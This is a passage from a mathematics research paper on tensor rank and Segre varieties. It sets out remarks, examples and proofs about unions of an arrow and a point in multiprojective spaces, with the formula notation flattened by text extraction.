all smooth curves ([20,23,24], Theorem 3.1)\n\n## 5. Tensors\n\nTensors associated with an arrow are exactly the tensors contained in the tangential variety of the Segre variety related to the format of the tensor. In this section we describe all concise tensors which are linear combinations in two different ways of a rank 1 tensor and a tensor associated with an arrow (Theorem 3). Theorem 3 lists 7 cases with for each case a quotation of an example or remark of the paper. The remark or example describes in detail each exceptional case. In each case we describe by how many parameters the possible unions of an arrow and a point depend.\nWe recall the following properties of the Segre varieties and their connection with tensors and the tensor rank of a tensor ().\nLet $Y = P n 1 × ⋯ × P n k$, $k ≥ 1$, $n i > 0$, $1 ≤ i ≤ k$, be a multiprojective space. Let $π i : Y → P n i$ denote the projection of Y onto its i-th factor. If $k ≥ 2$ set $Y i : = ∏ h ≠ i P n h$ and let $η i : Y → Y i$ denote the projection. The map $η i$ is the map forgetting the i-th coordinate of each $( a 1 , ⋯ , a k ) ∈ Y$. Let $ν i$ denote the Segre embedding of $Y i$.\nFor all $( d 1 , ⋯ , d k ) ∈ Z k$ set $O Y ( d 1 , ⋯ , d k ) : = ⊗ i = 1 k π i * ( O P n i ( d i ) )$. The line bundles $O Y ( d 1 , ⋯ , d k )$, $( d 1 , ⋯ , d k ) ∈ Z k$, form a $Z$-basis of the abelian group $Pic ( Y )$. The Künneth formula gives $h 0 ( O Y ( d 1 , ⋯ , d k ) ) = 0$ if some $d i < 0$, $h 0 ( O Y ( d 1 , ⋯ , d k ) ) = ∏ i = 1 k n i + d i n i$ if $d i ≥ 0$ for all i and $h 1 ( O Y ( d 1 , ⋯ , d k ) ) = 0$ if $d i ≥ − 1$ for all i. For any $i ∈ { 1 , ⋯ , k }$ let $O Y ( ε i )$ (resp. $O Y ( ε ^ i )$) be the line bundle $O Y ( a 1 , ⋯ , a k )$ on Y with multidegree $( a 1 , ⋯ , a k )$ with $a i = 1$ and $a j = 0$ for all $j ≠ i$ (resp. We have $h 0 ( O Y ( ε i ) ) = n i + 1$. Set $r : = − 1 + ∏ i = 1 k ( n i + 1 )$. Let $ν : Y → P r$ denote the Segre embedding of Y.\nFor any tensor T of format $( n 1 + 1 ) × ⋯ × ( n k + 1 )$, $T ≠ 0$, the tensor rank of T is the $ν ( Y )$-rank $r ν ( Y ) ( [ T ] )$ of the element $[ T ] ∈ P r$ associated with T.\nThe main result of this section is the following one.\nTheorem 3.\nLet $A ⊂ Y = P n 1 × ⋯ × P n k$ be a union of a point and an arrow. Assume that Y is the minimal multiprojective space containing Y. Fix $q ∈ 〈 ν ( A ) 〉$ such that $q ∉ ν ( A ′ ) 〉$ for any $A ′ ⊆ A$. Assume the existence of a union $B ⊂ Y$ of a point and an arrow such that $B ≠ A$ and $q ∈ 〈 ν ( A ) 〉 ∩ 〈 ν ( B ) 〉$. Then Y is as in one of the following cases (assuming $n i ≥ n j$ for all $i ≤ j$):\n1 .\n$deg ( B ) = 1$ and either $k = 1$, $n 1 ≤ 2$ or $k = 2$ and $n 1 = n 2 = 1$.\n2 .\n$deg ( B ) = 2$ and either $k = 1$, $n 1 ≤ 2$ or $k = 2$ and $n 1 = n 2 = 1$.\n3 .\n$k = 2$, $n 1 ≤ deg ( B ) − 1$ and $A , B , q$ are as in Remark 10.\n4 .\n$deg ( B ) = 3$, $Y = ( P 1 ) 3$ and $A , B , q$ are as in Remark 11.\n5 .\n$deg ( B ) = 3$, $Y = ( P 1 ) 4$ and $A , B , q$ are as in Example 9.\n6 .\n$deg ( B ) = 3$, $Y = P 2 × P 1 × P 1$ and A, B are as in Example 3.\n7 .\n$deg ( B ) = 3$ and $( Y , q , B )$ is as in Examples 4, 5, 6, 7 or 8.\nIn each case we give a rough description of the possible B’s. The one with $deg ( B ) = 1$ (resp. $deg ( B ) = 2$) are listed in Remark 10 (resp. 11). The last case, i.e., Examples 4, 5, 7 or 8 are the only cases which allow any $k ≥ 5$.\nRemark 6.\nLet $Z ⊂ Y$ be a zero-dimensional scheme of degree $z ≥ 2$. The minimal multiprojective subspace of Y containing Z is the multiprojective space $Y ′ : = ∏ i = 1 k 〈 π i ( Z ) 〉$. Write $Y ′ = P m 1 × ⋯ × P m s$ for some positive integers s and $m h$, $1 ≤ h ≤ s$. We have $m i ≤ deg ( Z ) − 1$ for all i and this is in general the only restriction we may obtain from the isomorphism class of Z as an abstract scheme. Of course, $s ≤ k$ and if the h-th positive-dimensional factor of $Y ′$ is contained in the i-th-dimensional factor of Y, then $m h ≤ n i$.\nRemark 7.\n(, Lemma 4.4) Let $W ⊂ Y$ be a zero-dimensional scheme such that $deg ( W ) ≤ 3$ and $ν ( W )$ is linearly dependent. Since ν is an embedding, $deg ( W ) = 3$ and $〈 ν ( W ) 〉$ is a line. Since $ν ( Y )$ is scheme-theoretically cut out by quadrics and $W ⊆ 〈 ν ( E ) 〉 ∩ ν ( Y )$, then $〈 ν ( E ) 〉 ⊂ Y$. Since the only linear subspaces contained in the Segre variety X are the one contained in a fiber of one of its k rulings, there is of $i ∈ { 1 , ⋯ , k }$ such that $deg ( π h ( W ) ) = 1$ for all $h ≠ i$, $π i | W$ is an embedding and $π i ( W ) ⊆ P n i$ is a line.\nRemark 8.\nTake $q ∈ 〈 ν ( B ) 〉$ with $B ⊂ Y$, $deg ( B ) ≤ 3$ and B curvilinear. The point q has border rank $b ≤ deg ( A )$ (, Proposition 1.1 and Theorem 1.2) and the minimal multiprojective space $Y ′ ⊆ Y$ with $q ∈ 〈 ν ( Y ′ ) 〉$ contains all curvilinear degree b schemes $E ⊂ Y$ such that $deg ( E ) = b$ and $q ∈ 〈 ν ( E ) 〉$ are contained in $Y ′$ (, Theorem 2.5).\nExample 1.\nLet $W ⊂ P n$ be a zero-dimensional scheme such that $deg ( W ) = 4$, W spans $P n$, W is linearly dependent, but all proper subschemes are linearly independent. Obviously $n = 2$. Since $h 0 ( O P 4 ( 2 ) ) = 6$ and $deg ( L ∩ W ) ≤ 3$ for all lines $L ⊂ P 2$, $dim | I W ( 2 ) | = 2$ and either W is the complete intersection of 2 conics or $deg ( L ∩ W ) = 3$ for exactly one line L and there is $o ∈ P 2$ such that all $E ∈ | I W ( 2 ) |$ is of the form $E = L ∪ R$ with $R ∈ | I o ( 1 ) |$. In both cases there are non-curvilinear W’s. In the latter case the latter case $o ∈ L$ and W is the union of the fat point $2 o$ and some $p ∈ L ∖ { o }$.\nExample 2.\nLet $W ⊂ P 1 × P 1$ be a degree 4 scheme. Since $h 0 ( O P 1 × P 1 ( 1 , 1 ) ) = 4$, $h 1 ( I W ( 1 , 1 ) ) > 0$ if and only if there is $D ∈ | O P 1 × P 1 ( 1 , 1 ) |$ containing W. If $ν ( W ′ )$ is linearly independent for all $W ′ ⊊ W$, then D is unique, because $h 1 ( I W ( 1 , 1 ) ) = 1$ in this case.\nProposition 1.\nLet $v ⊂ Y$ be an arrow such that Y is the minimal multiprojective space. Set $o : = v red$. Fix $q ∈ 〈 ν ( v ) 〉 ∖ { o }$. There is a zero-dimensional scheme $Z ⊂ Y$ such that $deg ( Z ) ≤ 2$, $Z ≠ v$, and $q ∈ 〈 ν ( Z ) 〉$ if and only if one of the following cases occur:\n1 .\n$k = 1$, $n 1 = 1$;\n2 .\n$k = 1$, $n 1 = 2$;\n3 .\n$k = 2$, $n 1 = n 2 = 1$.\n(a)\nIn case (1) we may take $deg ( Z ) = 1$ (with $ν ( Z ) = { q }$), $deg ( Z ) = 2$ and reduced or $deg ( Z ) = 2$ and Z an arrow.\n(b)\nIn case (2) $ν ( v ∪ Z )$ is the complete intersection of two conics in the plane $〈 ν ( W ∪ Z ) 〉$.\n(c)\nIn case (3) there are $∞ 2$ reduced Z (parametrized by a plane minus a line) and $∞ 1$ arrows Z (parametrized by a line minus the point corresponding to v).\nProof.\nCases (1), (2) and (3) occur and in each case the possible schemes Z described in (a), (b) and (c) are the schemes which occur (Examples 1 and 2).\nNow we prove the “only if” part. Set $W : = v ∪ Z$. Thus, $deg ( W ) ≤ 4$. Since $v ≠ Z$, $deg ( W ) ≤ 3$. First assume $deg ( W ) = 3$. We are in the case (1) by Example 1. Now assume $deg ( W ) = 4$ and hence $Z ∩ v = ∅$. Theorem 7 gives that we are in one of these cases (1), (2) and (3). □\nRemark 9.\nProposition 1 describes all degree 4 schemes $W ⊂ Y$, W not reduced and not containing a connected component of degree at least 3, such that Y is the minimal multiprojective space containing W, $ν ( W )$ is linearly dependent and all proper subschemes of $ν ( W )$ are linearly independent. For the case W reduced, see and/or . For an arbitrary W of degree 4, see . In [26,29,30,31] there are related results obtained under assumptions with minor differences. For instance in we assume that q has rank 3 and that Y is the minimal multiprojective space such that $q ∈ 〈 ν ( Y ) 〉$. Here we do not assume that $ν ( Y )$ is the minimal Segre spanning q, because it seems too restrictive. Making the assumption that $ν ( Y )$ is concise for q would drastically cut some proofs. Requiring that q has not cactus rank $≤ 2$ would allow the interested reader to omit Propositions 1 and 2.\nRemark 10.\nAssume $k = 2$.\n(a) Assume $n i = 1$ for at least one i, say $n 2 = 1$. Since any $( n 1 + 1 ) × 2$ matrix has rank $≤ 2$, for each $q ∈ P r ∖ Y$ there are infinitely many $S ⊂ Y$ such that $q ∈ 〈 ν ( S ) 〉$ and $# S = 2$. Now assume $n 1 ≤ 2$. Since $P r$ is the tangential variety of $τ ( ν ( Y ) )$, we obtain the existence of an arrow $Z ⊂ Y$ such that $q ∈ 〈 ν ( Z ) 〉$. By (, Ex. II.3.22(b)) we see that q is associated with at least $∞ 2$ sets S and $∞ 1$ arrows Z.\n(b) Assume $n 1 = n 2 = 2$ and hence $r = 8$. There are $q ∈ P 8$ with tensor rank 2 and tensors spanned by $ν ( Z )$ with Z connected and of degree 2. As in part (a) we obtain $q ∈ 〈 ν ( A ) 〉$ with $deg ( A ) = 3$ and A union of an arrow and a point.\nProposition 2.\nLet $A ⊂ Y$ be the union of an arrow v and a point $p ≠ o : = v red$. Assume that Y is the minimal multiprojective space containing A. Fix $q ∈ 〈 ν ( A ) 〉$ such that there is no $A ′ ⊊ A$ with $q ∈ 〈 ν ( A ′ ) 〉$. There is a zero-dimensional scheme $Z ⊂ Y$ such that $deg ( Z ) ≤ 2$ and $q ∈ 〈 ν ( Z ) 〉$ if and only if A, Y and Z are as follows:\n1.\n$k = 1$ and $n 1 = 1$ (here $q ∈ ν ( Y )$, say $q = ν ( o ′ )$);\n2.\n$k = 2$, $n 1 = n 2 = 1$;\n3.\n$k = 2$, $n 1 + n 2 = 3$; $k = n 1 = n 2 = 2$;\n4.\n$k = 3$, $n 1 = n 2 = n 3 = 1$.\n(i)\nIn case (1) the schemes Z are as follows:\n(i1)\n$deg ( Z ) = 1$ and Z is the point of Y such that $q = ν ( Z )$;\n(i2)\nZ is any degree 2 subscheme.\n(ii)\nIn case (2) there are $∞ 2$ schemes Z formed by 2 points and $∞ 1$ schemes Z which are arrows.\n(iii)\nIn cases (3) and (4) there are at least $∞ 2$ schemes Z formed by 2 points and at least $∞ 1$ schemes Z which are arrows; in this case Y is not the minimal multiprojective space such that $q ∈ 〈 ν ( Y ) 〉$.\nProof.\nAll listed cases are associated with some Z and the schemes Z are as described in Remarks 10 and 11. Thus, it is sufficient to prove the “only if” part.\nSince $deg ( A ) = 3$ and Y is the minimal multiprojective space containing A, $n i ≤ 2$ for all i.\nSet $W : = Z ∪ A$. Please note that $deg ( W ) ≤ 5$. Since there is no $A ′ ⊊ A$ such that $q ∈ 〈 ν ( A ′ ) 〉$, we have $deg ( W ) ≥ 4$. Since Y is the minimal multiprojective space containing A, $n i ≤ 2$ for all i. If $n i = 1$, then $deg ( π i ( A ) ) ≥ 2$. If $n i = 2$, then $deg ( π i ( A ) ) = 3$ and $π i ( A )$ is linearly independent. Proposition 1 covers the case $deg ( W ) = 4$. Thus, we may assume $deg ( W ) = 5$, i.e., $Z ∩ A = ∅$.\nIf $k = 1$, then Z is any degree 2 scheme spanning a line containing $o ′$ and not intersecting A. All cases with $k = 2$ are covered by Remark 10. Thus, we may assume $k > 2$.\n(a)\nAssume for the moment $n i > 1$ for some i, say $n 1 > 1$ and hence $n 1 = 2$. Since Y is the minimal multiprojective space containing Y, $deg ( π 1 ( A ) ) = 3$ and $π 1 ( A )$ is linearly independent. Take $H 1 ∈ | I v ( ε 1 ) |$ and $H 2 ∈ | I u ( ε 2 ) |$. The scheme $E : = Res H 1 ∪ H 2 ( W )$ is contained in Z.\n(a1)\nAssume $E ≠ ∅$. Since $Z ∩ A = ∅$, quoting (, Lemma 5.1) we obtain $h 1 ( I E ( 0 , 0 , 1 , ⋯ , 1 ) ) = 0$. Since $E ⊆ Z$ and $O Y ( 0 , 0 , 1 , ⋯ , 1 )$ is globally generated, we obtain $E = Z$ and $deg ( π i ( Z ) ) = 1$ for all $i > 2$. Thus, $| I Z ( ε 3 ) | ≠ ∅$. Fix $M ∈ | I Z ( ε 3 ) |$. Since $Z ∩ A = ∅$ and $A ⊈ M$, (, Lemma 5.1) gives $h 1 ( I Res M ( W ) ( ε ^ 3 ) ) > 0$. Since $Res M ( W ) ⊆ A$ and $π 1 | A$ is an embedding with linearly independent image, we obtain a contradiction.\n(a2)\nAssume $E = ∅$, i.e., assume $W ⊂ H 1 ∪ H 2$. By step (a1) we may also assume $W ⊆ H 1 ∪ H 3$ with $H 3 ∈ | I u ( ε 3 ) |$. Set ${ M 1 }$:= $| I { o , u } ( ε 1 ) |$ and take $M 2 ∈ | I o ( ε 2 ) |$ and $M 3 ∈ | I o ( ε 3 ) |$. Since $A ⊂ ( M 1 ∪ M 2 ) ∩ ( M 1 ∪ M 3 )$, we also obtain $Z ⊂ M 1 ∪ M 2$ and $Z ⊂ M 1 ∪ M 3$. Assume that either $Z ∩ H 1 = ∅$ or $Z ∩ M 1 = ∅$, say $Z ∩ H 1 = ∅$. We get $Z ⊂ H 2$. The residual exact sequence of $H 2$ and (, Lemma 5.1) give a contradiction because $deg ( π 1 ( A ) ) = 3$ and $π 1 ( A )$ is linearly independent. Assume that either $Z ⊂ H 1$ or $Z ⊂ M 1$, say $Z ⊂ H 1$. The residual exact sequence of $H 1$ gives a contradiction. Thus, $deg ( Z ∩ H 1 ) = deg ( Z ∩ M 1 ) = 1$. Using $H 1$ we obtain $h 1 ( I Res H 1 ( W ) ( ε ^ 1 ) ) > 0$ with $Res H 1 ( W )$ the union of u and a point of $A red$, call it e. Since $h 1 ( I Res H 1 ( W ) ( ε ^ 1 ) ) > 0$, $π i ( u ) = π i ( e )$ for all $i > 1$. Take $R ∈ | I u ( ε 3 ) |$. Using R we obtain $h 1 ( I v ∪ Res R ( Z ) ( ε ^ 3 ) ) > 0$. Using $H 2$ we obtain $h 1 ( I v ∪ Res H 2 ( Z ) ( ε ^ 2 ) ) > 0$. Thus, $π i ( Res H 2 ( Z ) ) ⊆ π i ( v )$ for all $i ≠ 2$. Since $dim | O Y ( ε 2 ) | + dim | O Y ( ε 3 ) | ≥ 2$, there are $T ∈ | O Y ( ε 2 ) |$ and $T ′ ∈ | O Y ( ε 2 ) |$ such that $Z ⊂ T ∪ T ′$. First assume $A ⊈ T ∪ T ′$. Since $A ∩ Z = ∅$, (, Lemma 5.1) gives $h 1 ( I Res T ∪ T ′ ( A ) ( 1 , 0 , 0 , ⋯ ) ) > 0$. Since $deg ( π 1 ( A ) ) = 3$ and $π 1 ( A )$ is linearly independent, we obtained a contradiction. Now assume $A ⊂ T ∪ T ′$. If $Z ⊂ T$ (resp. $Z ⊂ T ′$) we may take instead of $T ′$ (resp. T) a general element of its complete linear system and obtain a contradiction, because Y is the minimal multiprojective space containing A. Thus, $T ∩ Z ≠ ∅$ and $T ′ ∩ Z ≠ ∅$. One of the two divisors T or $T ′$, say T, contains v. Set ${ a } : = Res T ( Z )$. Please note that $a ∈ T ′$. We obtain $h 1 ( I { u , a } ( ε ^ 2 ) ) > 0$, i.e., $π i ( a ) = π i ( u )$ for all $i ≠ 2$. If $a = e$ we obtain $a = u$, a contradiction. Please note that $a = e$ if Z is connected. Assume $a ≠ e$ and hence $Z = { a , e }$. Since $A ⊈ T$, $u ∈ T ′$. Hence $π 3 ( a ) = π 3 ( u )$. Since $a ≠ e$, we obtain $Res T ′ ( W ) ⊆ v$. Hence the residual exact sequence of $T ′$ gives a contradiction.\n(b)\nAssume $Y = ( P 1 ) k$. All cases with $k ≤ 3$ are listed. Thus, we assume $k ≥ 4$. Let $e 1$ be the maximal integer such that $e 1 = deg ( H ∩ W )$ for some $i ∈ { 1 , ⋯ , k }$ and some $H ∈ | O Y ( ε i ) |$. With no loss of generality we may assume $i = 1$. Set $W 1 : = Res H ( W )$. Let $e 2$ be the maximal integer such that $e 2 = deg ( M ∩ W 1 )$ for some $i ∈ { 2 , ⋯ , k }$ and some $M ∈ | O Y ( ε i ) |$. With no loss of generality we may assume $i = 2$. Set $W 2 : = Res H ( W 1 )$. Obviously $e 1 ≥ e 2$. Since Y is the minimal multiprojective space containing A, $1 ≤ i ≤ 4$.\n(b1)\nAssume $e 1 = 4$. Quoting (, Lemma 5.1) we obtain a contradiction.\n(b2)\nAssume $e 1 = 2$. Thus, $1 ≤ e 2 ≤ 2$. If $e 2 = 2$ applying (, Lemma 5.1) to $H ∪ M$ we obtain a contradiction. Assume $e 2 = 1$. The definition of $e 1$ gives that each $π i | W 1$, $i > 2$, is an embedding. Fix $D ∈ | O Y ( ε 3 ) |$ intersecting $W 2$. Please note that $deg ( Res D ( W 2 ) ) = 1$. The residual exact sequence of $H ∪ M ∪ D$ and (, Lemma 5.1) gives a contradiction.\n(b3)\nAssume $e 1 = 1$. The definition of $e 1$ gives that each $π i | W$ is an embedding. Take $D ∈ | O Y ( ε 3 ) |$ such that $D ∩ W 2 ≠ ∅$ and set $W 3 : = Res D ( W 2 )$. Please note that $deg ( D ∩ W ) = 1$ and that $deg ( W 3 ) = 2$. Since $π 4 | W 2$ is an embedding, $h 1 ( I W 2 ( 0 , 0 , 0 , 1 , ⋯ ) ) = 0$, contradicting (, Lemma 5.1).\n(b4)\nAssume $e 1 = 3$. If $e 2 = 1$ quoting (, Lemma 5.1) we obtain a contradiction. Now assume $e 2 = 2$, i.e., assume $W ⊂ H ∪ M$. If there are $i ∈ { 3 , ⋯ , k }$ and $D ∈ | O Y ( ε i ) |$ with $deg ( W 1 ∩ D ) = 1$, then quoting (, Lemma 5.1) with respect to $H ∪ D$ we obtain a contradiction. Thus, we may assume $deg ( π i ( W 1 ) ) = 1$ for all $i ≥ 2$. Hence $π 1 | W 1$ is an embedding. Set $E : = Res M ( W )$. Since in step (b1) we excluded the case $e 1 = 4$ and $W 1 ⊂ M$, we have $2 ≤ deg ( W ∩ M ) ≤ 3$ and hence $2 ≤ deg ( E ) ≤ 3$. By assumption $E ⊂ H$ and hence $deg ( π 1 ( E ) ) = 1$.\n(b4.1)\nAssume $deg ( E ) = 2$. Using M instead of H in the first part of step (b4) we obtain $deg ( π i ( E ) ) = 1$ for all $i ≠ 2$. Take $H i ∈ | O Y ( ε i ) |$, $3 ≤ i ≤ k$, containing E. We obtain $W ⊂ M + H i$. We also have $W ⊂ H ∪ M$. Please note that the set $M ∩ H ∩ H 3 ∩ ⋯ ∩ H k$ is a point and that $ν ( M ∩ H 3 ∩ ⋯ ∩ H k )$ is a line of the Segre variety $ν ( M )$. We obtain $W red ⊂ M$. Since $deg ( W ∩ M ) = 3$, we obtain $# W red = 3$, i.e., Z is not reduce. Using H instead of M we obtain $W red ⊂ H ∩ M$. Using M and $H i$, $3 ≤ i ≤ k$, we obtain $W red$ is contained in the point $H ∩ M ∩ H 3 ∩ ⋯ ∩ H k$, absurd.\n(b4.2)\nAssume $deg ( E ) = 3$. In the set-up of step (b4.1) we may also assume that $E ∩ H i = ∅$ for all $i = 3 , ⋯ , k$. Set $H 2 : = M$. Let $w ⊂ E$ be a degree 2 scheme. Since $ν$ is an embedding, there is $i w ∈ { 2 , ⋯ , k }$ such that $π i w | w$ is an embedding. Let $M w$ be an element of $| O Y ( ε i w ) |$ containing a point of $w red$. Fix $i ∈ { 2 , ⋯ , k } ∖ { i w }$ and set $F : = Res H i + M w ( W )$. Since $deg ( F ∩ w ) = 1$, $1 ≤ deg ( F ) ≤ 2$. By (, Lemma 5.1) we first obtain $deg ( F ) = 2$ and then $deg ( π h ( F ) ) = 1$ for all $h ∉ { i , i w }$. Either E is the union of 3 points, say $E = { a , b , c }$, or the union of a point a and an arrow z.\n(b4.2.1)\nAssume $E = { a , b , c }$. Thus, $E ≠ A$. Take $w : = { b , c }$. Taking $M w$ containing c we obtain $π h ( a ) = π h ( b )$ for all $h ∉ { i , i w }$. Taking $M w$ containing b we obtain $π h ( a ) = π h ( c )$ for all $h ∉ { i , i w }$. Thus, $deg ( π h ( E ) ) = 1$ for all $h ∉ { i , i w }$. Varying i we obtain $deg ( π h ( E ) ) = 1$ for all $h ≠ i w$. In this case $〈 ν ( E ) 〉$ is a line contained in the $i w$-ruling of the Segre $ν ( Y )$. Thus, $ν ( E )$ is linearly dependent. Since $k > 2$, Proposition 1 gives $q ∉ ν ( Y )$. Since $q ∈ 〈 ν ( A ) 〉 ∩ 〈 ν ( Z ) 〉$ and $q ∉ 〈 ν ( A ′ ) 〉$ for any $A ′ ⊊ A$, we obtain $h 1 ( I W ( 1 , ⋯ , 1 ) ) ≥ 2$. Since $ν ( A )$ is linearly independent, $h 1 ( I W ( 1 , ⋯ , 1 ) ) = 2$. Thus, $ν ( Z )$ is contained in the plane, $〈 ν ( A ) 〉$, which also contains the line $〈 ν ( E ) 〉 ⊂ ν ( Y )$. Since $q ∉ 〈 ν ( Z ′ ) 〉$ for any $Z ′ ⊊ Z$, $q ∉ 〈 ν ( A ′ ) 〉$ for any $A ′ ⊊ A$ and $Z ∩ A = ∅$, $h 1 ( I W ′ ( 1 , ⋯ , 1 ) ) ≤ 1$ for all $W ′ ≠ W$. Thus, $〈 ν ( E ) 〉 ∩ ν ( W ) = E$ (scheme-theoretically). Since $ν ( Y )$ contains no plane $〈 ν ( A ) 〉 ⊈ ν ( Y )$. Since $ν ( W ) ⊂ 〈 ν ( A ) 〉$ and $ν ( Y )$ is scheme-theoretically cut out by quadrics, $ν ( Y ) ∩ 〈 ν ( A ) 〉$ is the union of 2 lines. Since Y is the minimal multiprojective space containing A, we obtain $k = 2$ ((, Proposition 5.2) or (, Proposition 1.1) or Theorem 1), a contradiction.\n(b4.2.2)\nAssume $E = z ∪ { a }$ and set ${ b } : = z red$. Take $w = z$. We obtain $π h ( a ) = π h ( b )$ for all $h ∉ { i , i w }$. Varying i we obtain $π h ( a ) = π h ( b )$ for all $h ≠ i w$. Take $w = { a , b }$, but call $i w ′$ the integer associated with this degree 2 scheme. We obtain $π h ( a ) = π h ( b )$ for all $h ≠ i w ′$. Thus, $i w = i w ′$. Thus, $〈 { a , b } 〉$ is a line contained in the w-th ruling of $ν ( Y )$. If $ν ( E ) ⊂ 〈 { a , b } 〉$ we conclude as in step (b4.2.1). Assume $ν ( E ) ⊈ 〈 { a , b } 〉$. Either $z = v$ or Z is connected and $Z = z$. Take $h ≠ i w$ and $D ∈ | I a ( ε h ) |$. By construction $deg ( W ∩ ( H i w ∪ D ) ) = 4$. Thus, $h 1 ( I Res H i w ∪ D ) = 0$, contradicting (, Lemma 5.1).\nRemark 11.\nTake $Y : = ( P 1 ) 3$ and hence $r = 7$. A general $q ∈ P 7$ is contained in $〈 ν ( A ) 〉$ for $∞ 4$ sets $A ⊂ Y$ such that $# A = 3$, $∞ 3$ unions A of an arrow and a point and for exactly one set $A ⊂ Y$ such that $# A = 2$. A general q in the tangential variety of $ν ( Y ) ⊂ P 7$ is contained in $〈 ν ( A ) 〉$ for $∞ 4$ sets $A ⊂ Y$ such that $# S = 3$, $∞ 3$ unions A of an arrow and a point and exactly one arrow, but no set A with cardinality 2.\nExample 3.\nTake $Y = P 2 × P 1 × P 1$ and take $q ∈ P r$ such that $r ν ( Y ) ( q ) = 3$ and there is $H ∈ | O Y ( 0 , 1 , 1 ) |$ with $q ∈ 〈 ν ( H ) 〉$. This case covers cases (4) and (5) of (, Theorem 7.1), case (4) being the case H irreducible, while case (5) being the case H reducible. If H is irreducible (resp. it is reducible), then q is in the linear span of $∞ 3$ (resp. $∞ 4$) subsets of $ν ( Y )$ with cardinality 3. For many $q ∈ P r$ we have $q ∈ 〈 ν ( A ) 〉$ for some union A of an arrow and a point.\nLemma 3.\nLet $E ⊂ Y$ be a planar double point. Set ${ o } : = E$ and write $E = v ∪ w$ with v and w arrows with o as their reduction. Fix $u , z ∈ Y ∖ { o }$ such that $u ≠ z$ and set $W : = E ∪ { u , z }$ and $A : = v ∪ { u }$. Assume that Y is the minimal multiprojective space containing $v ∪ { u }$, that $〈 ν ( A ) 〉 ∩ 〈 ν ( w ∪ { z } ) 〉$ contains a point q and that $q ∉ 〈 ν ( A ′ ) 〉$ for any $A ′ ⊊ A$. Then $k ≤ 2$ and $n 1 = n 2 = 1$ if $k = 2$.\nProof.\nBy assumption $q ∈ 〈 ν ( E ) 〉 ∩ 〈 { ν ( u ) , ν ( z ) } 〉$. Thus, there is an arrow $τ ⊂ E$ such that $q ∈ 〈 ν ( τ ) 〉 ∩ 〈 ν ( w ∪ { z } ) 〉$. Proposition 1 shows that the minimal multiprojective space $Y ′$ containing $W ′ : = τ ∪ { u , z }$ is either a projective space or $P 1 × P 1$. If $v ⊂ Y ′$, then the lemma is true. Assume $v ⊈ Y ′$. Since $〈 ν ( Y ′ ) 〉 ∩ ν ( Y ) = ν ( Y ′ )$, we obtain $〈 ν ( A ) 〉 = 〈 ν ( { o , u } 〉$, a contradiction. □\nExample 4.\nAssume $k ≥ 3$. We do the construction for the first 2 positive integers, but the case in which we take any two distinct elements of ${ 1 , ⋯ , k }$ is similar. Fix arrows $u ′ , v ′ ⊂ Y ′ : = P 1 × P 1$ such that $u ′ ∩ v ′ = ∅$ and $Y ′$ is the minimal multiprojective space containing $u ′ ∪ v ′$, but that $〈 ν ( u ′ ∪ v ′ ) 〉$ is a plane. Thus, $〈 ν ( u ′ ) 〉 ∩ 〈 ν ( v ′ ) 〉$ is a single point. Fix $n 1 ∈ { 1 , 2 }$ and $n 2 ∈ { 1 , 2 }$. Set $Y : = P n 1 × P n 2 × ( P 1 ) k − 2$ with $Y ′$ embedded in the first two factors of Y. Fix $a i , o i ∈ P 1$, $3 ≤ i ≤ k$, such that $a i ≠ o i$ for all i. Set $u : = v ′ × { ( a 3 , ⋯ , a k ) }$. Thus, $〈 ν ( u ) 〉 ∩ 〈 ν ( v ) 〉$ is a single point, $q ′$. Fix $o 1 ∈ P n 1$ and $o 2 ∈ P n 2$ with the restriction that $o 1 ∉ P 1$ if $n 1 = 2$ and $o 2 ∉ P 1$ if $n 2 = 2$. Set $o : = ( o 1 , ⋯ , o k ) }$. Please note that $〈 ν ( u ∪ { o } ) 〉$ is the line spanned by $q ′$ and $ν ( o )$. Please note that Y is the minimal multiprojective space containing $u ∪ { o }$ if and only if one of the following conditions holds:\n1.\n$Y ′$ is the minimal multiprojective space containing $u ′$.\n2.\n$Y ′$ is not the minimal multiprojective space containing $u ′$, i.e., $deg ( π i ( u ′ ) = 1$ for exactly one $i ∈ { 1 , 2 }$; in this case we require $n i = 1$ and $π i ( u ′ ) ≠ o i$.\nExample 5.\nThe construction done in Example 4 works if instead of the arrow $v ′$ we take 2 distinct points of $Y ′$.\nExample 6.\nAssume $k ≥ 3$. We do the construction for the first 2 positive integers, but the case in which we take any two distinct elements of ${ 1 , ⋯ , k }$ is similar. Set $Y ′ : = P 1 × P 1$ and fix $a ∈ Y ′$. Let L and $L ′$ be the elements of $| O Y ′ ( 1 , 0 ) |$ and $| O Y ′ ( 0 , 1 ) |$ containing a. Let $u ′$ (resp. $v ′$) be the arrow of L (resp. $L ′$) containing a. Fix $n 1 ∈ { 1 , 2 }$ and $n 2 ∈ { 1 , 2 }$. Set $Y : = P n 1 × P n 2 × ( P 1 ) k − 2$ with $Y ′$ embedded in the first two factors of Y. Fix $a i , o i ∈ P 1$, $3 ≤ i ≤ k$, such that $a i ≠ o i$ for all i. Set $u : = u ′ × { ( a 3 , ⋯ , a k ) }$ and $v : = u ′ × { ( a 3 , ⋯ , a k ) }$. Fix $o 1 ∈ P n 1$ and $o 2 ∈ P n 2$ with the restriction that $o 1 ∉ P 1$ if $n 1 = 2$ and $o 2 ∉ P 1$ if $n 2 = 2$. Set $o : = ( o 1 , ⋯ , o k ) }$. Please note that $〈 ν ( u ∪ { o } ) 〉 ∩ 〈 ν ( v ∪ { o } ) 〉$ is the line spanned by $ν ( a )$ and $ν ( o )$ and it is not contained in $ν ( Y )$. We obtain that a general $q ∈ 〈 〈 ν ( u ∪ { o } ) 〉 ∩ 〈 ν ( v ∪ { o } ) 〉$ has rank 2. Please note that Y is the minimal multiprojective space containing $u ∪ { o }$ if and only if $n 2 = 1$ and $π 2 ( u ) ≠ o 2$.\nExample 7.\nTake either $Y = ( P 1 ) k$ or $Y = P 2 × ( P 1 ) k − 1$, $k > 1$. Fix $o ∈ Y$ and take an arrow $v ⊂ Y$ such that $v red = { o }$ and $π i ( v ) = π i ( o )$ for all $i > 1$. Please note that $〈 ν ( v ) 〉 = ν ( L )$ with $L = P 1 × ( o 2 , ⋯ , o n ) ⊂ Y$. Fix $u ∈ Y$ such that $π i ( u ) ≠ π i ( o )$ for $i = 2 , ⋯ , k$. If $Y = P 2 × ( P 1 ) k − 1$ assume $π 1 ( o ) ∉ π 1 ( L )$. Set $A : = v ∪ u$. Please note that Y is the minimal multiprojective space containing A. Each $q ∈ 〈 ν ( A ) 〉$ has tensor rank at most 2, because there is $a q ∈ L$ such that $q ∈ 〈 ν ( { a q , u } ) 〉$.\nExample 8.\nTake either $Y = ( P 1 ) k$ or $Y = P 2 × ( P 1 ) k − 1$, $k > 1$. Fix $o , u 